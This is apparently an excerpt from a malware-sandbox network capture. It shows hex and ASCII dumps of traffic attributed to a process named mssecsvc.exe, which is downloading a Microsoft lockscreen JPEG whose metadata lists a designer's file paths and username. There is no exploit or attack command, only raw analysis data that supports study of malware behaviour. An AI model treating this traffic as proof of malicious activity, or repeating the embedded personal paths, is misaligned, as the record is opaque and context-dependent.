2022-07-21 02:34:45 UTC	7191	IN	Data Raw: c5 fe 65 90 c4 50 b1 c9 56 35 65 a0 89 e3 3c 17 c5 8f ff 00 e5 11 fd e4 7a d6 cf 8f ee 2c ca 5f b8 ff 00 27 c1 db 52 fc a9 6a e4 02 12 20 4b fd 55 6e 7d 57 eb ff 00 d8 9d fa 2b 6b e5 72 a1 93 18 86 22 e8 e5 1c 2e 05 a3 c3 93 dd 7d 75 cf 2b 97 54 ff 00 97 3b 86 0e 16 60 cb cf 79 55 a1 dd 15 16 f5 76 1f 63 27 0f 2f 4b f8 9a 8f d9 c5 b3 c2 a0 9f cc 3f cc 52 f7 b2 5e 75 0a 83 65 20 ee 3d 32 7a 11 f5 9f e9 fd 13 f5 8b 75 f2 d3 44 2d bd 6b 77 b4 9d 76 c5 6b 91 89 15 ae 5d ff 00 ab d9 a0 ea a7 fb 8c d9 2b 1e f6 bc 7b 09 3d df 4f bd 66 a7 18 7c c8 46 48 65 8c 54 92 c4 1f 11 fe 2d 53 5d 80 b1 0a b6 30 21 8f 89 f0 3e ee 99 8b 24 71 e4 ed 70 0f 4d 8e ff 00 b5 a4 99 b0 68 31 62 58 de 3e 3e ad 79 86 e8 c3 fb 8f a3 47 55 c8 f1 d2 85 48 35 35 df f4 e9 0d 7b 1d a5 49 01 Data Ascii: ePV5e<z,_'Rj KUn}W+kr".}u+T;`yUvc'/K?R^ue =2zuD-kwvk]+{=Of\|FHeT-S]0!>$qpMh1bX>>yGUH55{I
2022-07-21 02:34:45 UTC	7207	IN	Data Raw: 03 20 2a 82 c7 c4 ed a2 26 a6 96 a9 3a bc 06 8d 2c 1f d5 a4 60 cb f6 14 04 9a 9a e9 c2 ad e3 c4 b6 c7 5f 69 ad 0e 8b 4a 45 70 d6 ad 13 6d 66 09 65 bd 59 50 8f ea d5 c4 51 59 9c 20 a2 e8 11 8b 6d ad 45 0e da 4a 8e 4a e0 8a 0d b4 2d b8 c8 52 2b b8 d4 55 36 c2 f5 dc da 77 f1 f6 e8 81 06 76 fc cc a2 0a da a0 d1 8f 9e df 76 dd 6d 3c 39 3b f6 8b dd a5 59 b2 aa 80 d4 80 3c 6a 75 b7 2f 3f f7 df 20 61 cc d8 d2 87 0d 50 a7 ff 00 de 6b 57 17 7e 53 64 9a 5e b1 44 2c 2e 3b ef e3 ea bb ea ea e0 cf 0e 65 2c 8d 2b e2 93 55 8c d3 87 75 6f 7f eb 6a 8a 78 9a 1a ca 2e 26 5e 1a 1a 0a 6d b6 81 8f 24 2c e7 63 6a 0a 6f fa 34 86 a8 63 e1 64 e6 c9 6e 0c 5d 46 4d d9 40 ad 6b c2 9a ce a2 d9 3d a9 c9 8d dc 3b 45 f1 66 40 c8 bc 27 88 02 05 7d 2e 9a 9b 19 d9 2b 79 6b 06 68 c3 e9 c6 e5 Data Ascii: *&:,`_iJEpmfeYPQY mEJJ-R+U6wvvm<9;Y<ju/? aPkW~Sd^D,.;e,+Uuojx.&^m$,cjo4cdn]FM@k=;Ef@'}.+ykh
2022-07-21 02:34:45 UTC	7215	IN	Data Raw: d4 62 56 94 23 ea ea 25 44 b2 39 2c 02 36 78 a5 88 10 d4 a3 7b e4 5d c1 6b 7e c6 9e 89 74 48 f1 45 e2 26 57 32 b5 43 06 e0 0a 39 63 e7 f5 e9 68 b5 ac b4 48 90 63 cd 1b 55 4e e4 9a 81 ee fb 9a 21 f3 77 c9 78 d9 e1 61 22 93 b8 a1 51 e1 a6 2f 91 62 85 f3 58 96 0c 45 b5 fd 14 f8 b4 85 bf 2e c7 8e ac 2a 94 51 cb 61 1e 14 e2 bb f6 74 5a 2d 37 93 3c c6 25 a5 c2 36 00 01 50 6e 00 7b bf 67 a8 9e 53 30 94 f2 ac af d4 62 0e c2 83 e8 db 57 26 34 90 ef 6f c7 8c c2 66 9d c0 21 76 00 52 b5 af eb be a6 d2 e9 85 99 e6 6a 42 ae 14 fb 14 54 8a 2f 1b 71 69 62 6c c7 b2 4a 2c 71 63 41 2f 59 09 06 82 bc 32 7a 6d f7 74 62 67 f2 43 29 da 17 e2 6a bd 6b 5a 5c 1a be ad 5e 35 9e 4c e6 f7 a9 5a 25 80 aa c5 22 54 10 ab 41 e1 f2 f4 be 53 cf 1f 92 f8 dd c6 44 bb a6 d6 33 81 c7 4e 31 f0 Data Ascii: bV#%D9,6x{]k~tHE&W2C9chHcUN!wxa"Q/bXE.*QatZ-7<%6Pn{gS0bW&4of!vRjBT/qiblJ,qcA/Y2zmtbgC)jkZ\^5LZ%"TASD3N1
2022-07-21 02:34:45 UTC	7231	IN	Data Raw: 41 ba 83 9f 83 48 71 e9 d7 94 a5 89 6f 4d 88 07 75 d8 83 c3 d4 bb cc cd a0 b0 5c a8 fa 58 45 23 b5 c1 92 81 45 6f ea 5b d5 69 ba 3c f6 f4 fc f2 fa f4 4a 5c f9 bb 52 e3 c4 64 e2 9e a1 1a 32 4d c0 8f 1e 56 f8 39 78 e3 d5 eb a2 df e0 d4 d4 aa a2 da 0f 0f d9 8f 67 d7 e3 d4 b0 31 87 97 ff 00 67 3c 8b 2b 2d 92 24 60 91 cc 65 12 ff 00 d3 8d 3a 3e 4d 2f 84 de 7c b0 9d c2 2c 20 51 0d 18 d3 89 86 f5 e1 bd a1 f4 5a fa 27 22 f1 7a 05 b2 ce 50 79 6f 6a a9 00 29 15 67 24 fa d7 55 8a 93 3c 30 d9 20 ce d0 94 10 de 02 94 60 58 dc 07 0f 3f 14 7c 5e 7d 21 9e 14 72 fb 7c f1 63 c7 8b 86 a6 29 28 b7 16 61 bb b0 69 3a 77 f2 79 b5 13 ac ac a5 96 ed 4b c4 c7 9b b6 64 21 88 90 e4 a9 47 51 70 f4 f0 fd 7e 1d 69 f5 ad ba ea 75 0d e7 e1 ac 99 4f 2d e2 c6 ab 48 37 e0 7a db 24 3f 0d fc Data Ascii: AHqoMu\XE#Eo[i<J\Rd2MV9xg1g<+-$`e:>M/\|, QZ'"zPyoj)g$U<0 `X?\|^}!r\|c)(ai:wyKd!GQp~iuO-H7z$?
2022-07-21 02:34:45 UTC	7247	IN	Data Raw: 76 d8 5a 7b 42 b4 1c 4c 12 d6 7d d8 fa ef b6 c5 5f 7f 53 6a fa 8e 8c 78 d4 74 67 35 25 8a 9e 9b 6e 18 f0 47 c4 e9 c7 1e a7 4a f1 f9 76 5c 54 c5 92 ac 86 4d a8 28 2b 5a 70 fd 6d 39 d3 3f 9f 09 42 48 dc 3c 61 8a ac 9c 06 a0 11 4f 7f e0 f7 75 69 bc e0 e7 b7 45 14 6d 0a cc 5a 00 41 bc 0e 13 4a b7 26 9e a3 7c b9 0e 2a cb 38 86 39 83 0e 9b b3 52 ab 4b 57 a8 cb a4 56 f8 77 0f 23 1f 25 0d ea 50 8a fc cf 31 1e 6f 72 ed 2a 2c b0 ce 2f 6d 83 3e 26 96 59 44 48 bb 05 5a 17 3f c4 6f 4e a7 45 ef e4 84 cb 0e 34 e8 91 06 94 0a 28 03 d7 e5 fd bd 57 b5 79 b1 dc a7 79 67 79 1c 59 c6 54 2e cb c5 eb 93 d1 a7 88 93 21 38 f1 e3 91 64 98 37 0c 60 54 1f a5 8e a9 76 df 4d 63 c7 1c 60 e4 72 a5 db 7d 07 d4 ba 0e df c1 a8 65 18 ec f5 aa dc d5 47 3c ab 5f 3b 70 b5 fe fd 9a 45 ec 8c ea Data Ascii: vZ{BL}_Sjxtg5%nGJv\TM(+Zpm9?BH<aOuiEmZAJ&\|89RKWVw#%P1or,/m>&YDHZ?oNE4(WyygyYT.!8d7`TvMc`r}eG<_;pE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	50551	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:44 UTC	217	OUT	GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-21 02:34:44 UTC	437	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PtWe?ver=aadd Last-Modified: Sun, 17 Jul 2022 19:15:33 GMT X-Source-Length: 1675066 X-Datacenter: northeu X-ActivityId: be4c5f6a-3fc7-47d3-a344-5a38aa52b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1675066 Cache-Control: public, max-age=146407 Expires: Fri, 22 Jul 2022 19:14:51 GMT Date: Thu, 21 Jul 2022 02:34:44 GMT Connection: close
2022-07-21 02:34:44 UTC	438	IN	Data Raw: ff d8 ff e1 27 d7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 30 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: 'ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:20:328"
2022-07-21 02:34:44 UTC	453	IN	Data Raw: a5 6d 0a ae 47 4d cc ab 2a bc 2c 6a 85 75 64 7a 86 97 82 e2 f7 96 fb ec 76 1d ae ad d6 33 77 e8 d9 53 ff 00 73 fe dd 5a 9d 2e ec 9c 8e 97 5b 03 5a de 9d 8f 93 63 45 a5 cd f4 6c ae bb 1e ff 00 d2 b9 f6 d4 db bd 26 7d 0f 66 cb ff 00 9b ff 00 07 62 6e b5 83 92 fc 1a 2d 36 e3 e5 d9 83 75 6f 6d 9b 89 73 eb 6b bd 94 b2 f6 fb dd 5f a7 6f af 6b 29 af f4 7f e6 57 4d a1 93 87 39 88 90 f5 4e 56 3c 7e 58 e4 e1 e3 f6 f8 f8 91 fa 3e 41 1d fd 3b a3 d3 90 ca 6d 7b 81 f4 b6 dc c7 d0 e0 00 21 d4 fa bb 5c dd f7 3b 1f d9 ea 55 b7 df fd 22 bf f0 94 e4 71 9f 64 bf f7 8f f3 9f 64 fa 7f e1 3f d2 ff 00 57 fd 7d 45 db e7 7d 61 e9 e0 b8 63 62 da 2c b9 e1 d5 39 ef 01 b2 c2 6c 05 df cf b7 d5 7b 9f fa 46 57 e8 fa ec fe 7b fd 12 c5 fd ad 67 fd c5 c7 fe 91 f6 8f cf fe 73 fc ef e7 7f ee Data Ascii: mGM*,judzv3wSsZ.[ZcEl&}fbn-6uomsk_ok)WM9NV<~X>A;m{!\;U"qdd?W}E}acb,9l{FW{gs
2022-07-21 02:34:44 UTC	469	IN	Data Raw: 74 74 79 49 6d 61 67 65 73 5f 31 37 35 37 35 35 30 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 36 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 51 34 32 30 31 36 5f 5a 61 62 72 69 73 6b 69 65 50 6f 69 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 35 34 37 34 30 38 38 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 Data Ascii: ttyImages_175755036_1080x1920.jpg saved 2016-07-08T16:36:39-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_Q42016_ZabriskiePoint_GettyImages_547408861_1080x1920.jpg saved 2016-07-08T16:39:50-07:00 Fi
2022-07-21 02:34:44 UTC	502	IN	Data Raw: 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 50 65 67 67 79 73 43 6f 76 65 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 31 31 37 33 31 30 32 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 38 3a 34 34 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 45 6c 2d 6e 69 64 6f 50 68 69 6c 69 70 70 69 6e 65 73 5f 35 30 30 70 78 5f 31 32 38 32 30 39 35 30 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 Data Ascii: 4-125-Batch2_PeggysCoveCanada_GettyImages_117310221_1080x1920.jpg saved 2016-07-08T18:44:24-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_El-nidoPhilippines_500px_128209505_1080x1920.jpg saved 2016-07-0
2022-07-21 02:34:44 UTC	685	IN	Data Raw: 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 4c 61 6b 65 4d 6f 72 6e 69 6e 67 4c 69 67 68 74 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 35 37 35 6d 31 30 37 34 34 38 39 66 5f 31 30 38 30 78 Data Ascii: Q4-500_Batch1\Crops\Q4-500-1_FootbridgeLeadsToSea_Plainpicture_p300m979164f_1080x1920.jpg saved 2016-08-10T14:01:01-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_LakeMorningLight_Plainpicture_p575m1074489f_1080x
2022-07-21 02:34:44 UTC	701	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 55 52 31 35 5f 50 72 6f 34 5f 54 61 62 6c 65 74 5f 30 35 5f 47 72 61 64 69 65 6e 74 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c Data Ascii: File Lockscreen_1080x1920_Portrait.psd opened 2016-09-28T13:31:43-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SUR15_Pro4_Tablet_05_Gradient_1080x1920.jpg saved 2016-09-28T13:31:56-07:00 File C:\Users\v-lizagh\MS\Windows10\L
2022-07-21 02:34:44 UTC	757	IN	Data Raw: 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 30 36 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 31 36 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 Data Ascii: 0\Lockscreen_1080x1920_Portrait.psd saved 2016-10-17T18:06:53-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-17T18:16:29-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080
2022-07-21 02:34:44 UTC	853	IN	Data Raw: 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 30 35 36 32 32 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 39 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 36 39 31 38 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 34 30 3a 31 31 2d 30 38 Data Ascii: e\Crops\Office_Skype_GettyImages-660562255_1080x1920.jpg saved 2016-11-23T15:39:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-665691853_1080x1920.jpg saved 2016-11-23T15:40:11-08
2022-07-21 02:34:44 UTC	1083	IN	Data Raw: 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 33 37 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 34 34 39 33 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 Data Ascii: Images-152304794_1080x1920FF840D264A42D1208ABA554546D1D562.psb saved 2017-01-30T14:37:13-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-584493872_1080x1920.jpg saved&
2022-07-21 02:34:44 UTC	1091	IN	Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 37 3a 34 35 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d Data Ascii: Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-02-22T17:45:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MarchMadness-NCAA\March\CHOSEN\MIT-MarchMadness-NCAA_GettyImages-
2022-07-21 02:34:44 UTC	1306	IN	Data Raw: 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 38 54 31 34 3a 30 32 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 Data Ascii: 0x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-03-28T14:02:24-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 201
2022-07-21 02:34:44 UTC	1322	IN	Data Raw: 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 36 34 30 38 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 Data Ascii: ;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-596408872_1080x1920.jpg saved 2017-04-27T09:10:59-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-04
2022-07-21 02:34:44 UTC	1409	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 31 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 37 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 32 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 34 3a 34 38 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: xA;2017-05-12T16:21:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait7.psd saved 2017-05-12T16:22:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-05-15T14:48:51-07:00 F
2022-07-21 02:34:44 UTC	1473	IN	Data Raw: 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 34 33 33 38 31 34 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 38 31 37 38 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 Data Ascii: indows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_shutterstock_114338140_1080x1920.jpg saved 2017-06-13T15:26:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_GettyImages-537817892_1080x1920.jpg saved&#
